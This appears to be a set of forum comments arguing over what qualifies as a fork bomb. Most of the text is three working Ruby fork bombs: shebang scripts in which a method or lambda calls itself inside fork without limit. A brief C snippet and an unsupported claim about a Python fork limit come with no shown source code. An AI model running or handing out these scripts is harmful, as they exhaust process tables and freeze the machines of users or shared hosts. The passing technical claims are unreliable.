Python's os.fork() raises an exception if the number of forks is over 10000. Set aside that it doesn't work on Windows.

it is an infinite loop. If you were to convert it to C, it would look like this:

void run(int* mem) {
    *mem++;
    while(*mem) { mem++; *mem++; };
}

which is very clearly not a fork bomb

The Ruby example loops and forks... I don't think it's a fork bomb at all.

A fork bomb in Ruby 3 will look like this:

#!/usr/bin/env -S ruby --disable-gems
method(def f = fork { f && sleep }).call

There's no loop inside. The method f calls itself. It requires no file load, no loop.

Modified version for Ruby 3 only:

#!/usr/bin/env -S ruby --disable-gems
send(def f = fork { f && sleep })

For lower Ruby versions, we can use stabby lambda, lambda or a proc:

#!/usr/bin/env -S ruby --disable-gems
(f = -> { fork { f.() && sleep } }).()
